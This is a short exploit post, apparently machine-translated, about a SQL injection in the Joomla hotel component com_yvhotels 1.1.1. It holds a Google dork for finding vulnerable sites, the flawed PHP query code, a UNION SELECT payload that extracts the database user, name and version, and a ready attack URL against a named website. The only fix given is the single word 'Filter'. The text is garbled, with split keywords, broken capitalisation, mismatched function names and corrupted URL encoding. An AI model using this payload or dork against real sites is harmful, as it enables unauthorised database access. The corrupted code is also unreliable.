Joomla com_yvhotels SQL Injection defects and repair

# Author: z0mbyak
# Vendor or Software Link: http://joomlaforum.ru/index.php/topic,49006.0.html
# Version: 1.1.1
# Category: [remote, webapps.]
# Google dork: inurl: "index. php? Option = com_yvhotels"
# Tested in: web

Code:

Function show_info ($ task ){

$ Id = mosGetParam ($ _ REQUEST, 'id ');
Switch ($ task ){

Case 'desc ':
Show_pai_desc ($ id );
Break;

Case 'facils ':
Show_cmd_facils ($ id );
Break;

Case 'rooms ':
Show_hotel_rooms ($ id );
Break;

Case 'address ':
Show_pai_address ($ id );
Break;

}
}

Function show_demo_desc ($ id ){
Global $ database;

$ Database-> setQuery ("SELECT * FROM #__ yvhotels WHERE id = $ id ");

$ Rows = $ database-> loadObjectList ();
If ($ database-> getErrorNum ()){
Echo $ database-> stderr ();
Return false;
}
$ Row = $ rows [0];

HTML_yvhotels_front: show_demo_desc ($ row );
}

SQL-Inj Vulnerability:

Exploit: null + union + all + select + 1, 2, 3, 4, user (), 6, 7, 8, 9, 10, 11
, 12, database (), version (), 15,16, 17,18, 19,20, 21 --

VulnSite:
Http://www.bkjia.com/index.php? Option = com_yvhotels & act = show_info & task = desc & id = null + union + all + select + 1, 2, 3, 4, user % 28%, 6, 7, 8,
9, 10, 11, 12, database % 28% 29, version % 28%, 16, 17, 1, 20, 21 --

Especially for forum.antichat.ru export rdot.org/forum/
 

Fix: Filter

Z0mbyak.